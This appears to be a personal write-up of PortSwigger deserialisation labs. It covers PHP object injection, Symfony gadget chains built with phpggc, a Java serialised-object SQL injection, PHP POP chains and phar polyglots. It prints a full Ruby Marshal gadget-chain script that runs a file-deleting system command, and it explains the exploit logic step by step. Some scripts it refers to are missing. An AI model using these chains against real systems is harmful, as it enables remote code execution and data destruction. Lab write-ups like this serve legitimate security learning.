This lab uses deserialisation in the cookie. To solve the lab, delete morale.txt from /home/carlos. I was also given a backup account of gregg:rosebud, probably because I might have to delete an account.
There's a bit more functionality within this lab:
I uploaded a sample PNG, and then deleted my account. THis was the cookie sent in the POST request to /my-account/delete:
The avatar_link was a directory on the website. I can change this to /home/carlos/morale.txt and delete the backup account.
I intercepted the response and changed the cookie using this script:
I have to inject an object to this. To solve the lab, delete /home/carlos/morale.txt. In the page source, there was a mention of some source code:
The hint was to append a ~ to read editor-generated backup files, so visiting /lib/CustomTemplate.php~ gave me source code:
?phpclassCustomTemplate {private $template_file_path;private $lock_file_path;publicfunction__construct($template_file_path) {$this->template_file_path = $template_file_path;$this->lock_file_path = $template_file_path .".lock"; }privatefunctionisTemplateLocked() {returnfile_exists($this->lock_file_path); }publicfunctiongetTemplate() {returnfile_get_contents($this->template_file_path); }publicfunctionsaveTemplate($template) {if (!isTemplateLocked()) {if (file_put_contents($this->lock_file_path,"")===false) {thrownewException("Could not write to ".$this->lock_file_path); }if (file_put_contents($this->template_file_path, $template)===false) {thrownewException("Could not write to ".$this->template_file_path); } } }function__destruct() {// Carlos thought this would be a good ideaif (file_exists($this->lock_file_path)) {unlink($this->lock_file_path); } }}?>
For some reason, it calls unlink in __destruct(), meaning the PHP script automatically calls unlink. the only important variable is the lock_file_path one. Using this script can exploit this:
This lab uses a signed cookie, and a common PHP framework. There is no source code, but there are pre-built gadget chains. To solve the lab, delete /home/carlos/morale.txt.
This page is the pphinfo.php page, and there's a SECRET_KEY variable:
Sending a modified cookie results in this error:
So this uses Symfony and I have a secret key. This means I probably have to use phpggc to generate my payload since gadget chains have to be exploited.
Using symfony/rce4 gives me the same version that the website is running:
$ phpggc -i symfony/rce4
Name : Symfony/RCE4
Version : 3.4.0-34, 4.2.0-11, 4.3.0-7
Type : RCE (Function call)
Vector : __destruct
Informations :
Execute $function with $parameter (CVE-2019-18889)
./phpggc Symfony/RCE4 <function> <parameter>
Using this, I can generate a base64 encoded payload.
This lab uses the Ruby on Rails framework, and there are documented exploits to enable RCE via a gadget chain. To solve the lab, delete /home/carlos/morale.txt.
Sending a malformed cookie results in a Ruby error:
When searching for exploits, I found this:
Here's the edited final script:
require"base64"# Autoload the required classesGem::SpecFetcherGem::Installer# prevent the payload from running when we Marshal.dump itmoduleGemclassRequirementdefmarshal_dump [@requirements]endendendwa1 =Net::WriteAdapter.new(Kernel, :system)rs =Gem::RequestSet.allocaters.instance_variable_set('@sets', wa1)rs.instance_variable_set('@git_set',"rm /home/carlos/morale.txt")wa2 =Net::WriteAdapter.new(rs, :resolve)i =Gem::Package::TarReader::Entry.allocatei.instance_variable_set('@read',0)i.instance_variable_set('@header',"aaa")n =Net::BufferedIO.allocaten.instance_variable_set('@io', i)n.instance_variable_set('@debug_output', wa2)t =Gem::Package::TarReader.allocatet.instance_variable_set('@io', n)r =Gem::Requirement.allocater.instance_variable_set('@requirements', t)payload =Marshal.dump([Gem::SpecFetcher,Gem::Installer, r])putsBase64.encode64(payload)
PortSwigger has provided a simple Java program for serialising objects on Github and replit.
Code Analysis -> Create Object
Starting with ProductTemplate, the class has a string variable of id. This id variable is passed to a SQL query:
String sql =String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
The id parameter is not sanitised, and I can try to create a Java program to set it to ' to escape the query. Firstly, I need to create a serialised object for ProductTemplate.
Here are the variables and constructor for ProductTemplate, which need to be copied over.
To solve this lab, delete morale.txt. The page has some source code, which can be read via using a ~ character.
Here's the code:
<?phpclassCustomTemplate {private $default_desc_type;private $desc;public $product;publicfunction__construct($desc_type='HTML_DESC') {$this->desc =newDescription();$this->default_desc_type = $desc_type;// Carlos thought this is cool, having a function called in two places... What a genius$this->build_product(); }publicfunction__sleep() {return ["default_desc_type","desc"]; }publicfunction__wakeup() {$this->build_product(); }privatefunctionbuild_product() {$this->product =newProduct($this->default_desc_type,$this->desc); }}classProduct {public $desc;publicfunction__construct($default_desc_type, $desc) {$this->desc = $desc->$default_desc_type; }}classDescription {public $HTML_DESC;public $TEXT_DESC;publicfunction__construct() {// @Carlos, what were you thinking with these descriptions? Please refactor!$this->HTML_DESC ='<p>This product is <blink>SUPER</blink> cool in html</p>';$this->TEXT_DESC ='This product is cool in text'; }}classDefaultMap {private $callback;publicfunction__construct($callback) {$this->callback = $callback; }publicfunction__get($name) {returncall_user_func($this->callback, $name); }}?>
End Goal
End goal is to call call_user_func to delete the file, since this function executes a function to it as arguments. This is within the DefaultMap function, and I can pass in anything as the $callback value, which are the function names like passthru or system.
The function is called within __get(), which is invoked upon trying to retrieve an inaccessible property. The code below shows an example of how this can be used to execute commands:
The __wakeup() function will call build_product(), and it leads to $this->desc = $desc->$default_desc_type within the Product class. This is suitable because it is called upon deserialization, meaning that when I pass in a cookie, it starts there.
The assignment of $this->desc = $desc->$default_desc_type can be used to trigger the __get() magic method. This is because it attempts to assign $this->desc to an attribute that it does not have. I jsut have to pass in the right stuff to call call_user_func with the right values.
Putting it Together
Here's the exploit explained:
First, create a new CustomTemplate class.
Within the CustomTemplate class, change the $desc variable to contain a DefaultMap('system'); object. This would construct a DefaultMap function with the system function within the call_user_func function.
Set $default_desc_type to the string containing the commands to be executed. This then calls build_product() to create a Product object with $default_desc_type and $desc.
Within Product, it tries to get an attribute of $desc that it does not have. This action invokes the __get() method within DefaultMap, since $desc is a DefaultMap object after all.
The values passed to __get() would be the name of the property it attempted to retrieve. Fpr example, if it attempted to retrieve $desc->'random, the $name parameter contains random.
The machine will then execute call_user_func('system', 'random'). Afterwards, I just have to replace the random string with a command I want executed.
Print out this object and base64 encode it.
Here's the full exploit script to create the object on my machine:
To solve this lab, exploit phar deserialisation to delete morale.txt.
Logging in provides a upload avatar feature:
Uploading files does a POST request to /my-account/avatar. Afterwards, reloading the page sends a GET request to /cgi-bin/avatar.php?avatar=wiener to load the avatar.
I visited cgi-bin, and found some files:
Here is the CustomTemplate code:
<?phpclassCustomTemplate {private $template_file_path;publicfunction__construct($template_file_path) {$this->template_file_path = $template_file_path; }privatefunctionisTemplateLocked() {returnfile_exists($this->lockFilePath()); }publicfunctiongetTemplate() {returnfile_get_contents($this->template_file_path); }publicfunctionsaveTemplate($template) {if (!isTemplateLocked()) {if (file_put_contents($this->lockFilePath(),"")===false) {thrownewException("Could not write to ".$this->lockFilePath()); }if (file_put_contents($this->template_file_path, $template)===false) {thrownewException("Could not write to ".$this->template_file_path); } } }function__destruct() {// Carlos thought this would be a good idea@unlink($this->lockFilePath()); }privatefunctionlockFilePath() {return'templates/'.$this->template_file_path .'.lock'; }}?>
Firstly, I noticed that blog.php imports a twig, which means that SSTI might be possible due depending on what I inject.
The Blog object basically passes $desc to a Twig_Environment, hence $desc is the injection point for SSTI.
Next, for phar:// deserialisation, it can occur for PHP functions that don't eval, like file_get_contents or file_exists. Within the CustomTemplate function, there is a file_exists function used, taking lockFilePath() as the parameter
I don't actually care about how CustomTemplate and Blog are formed, I just need the serialised object, thus they are empty classes. Afterwards, run this to generate the JPG file:
php -c php.ini phar_jpg_polyglot.php
Then, upload out.jpg:
Then, visit /cgi-bin/avatar.php?avatar=phar://wiener to solve the lab.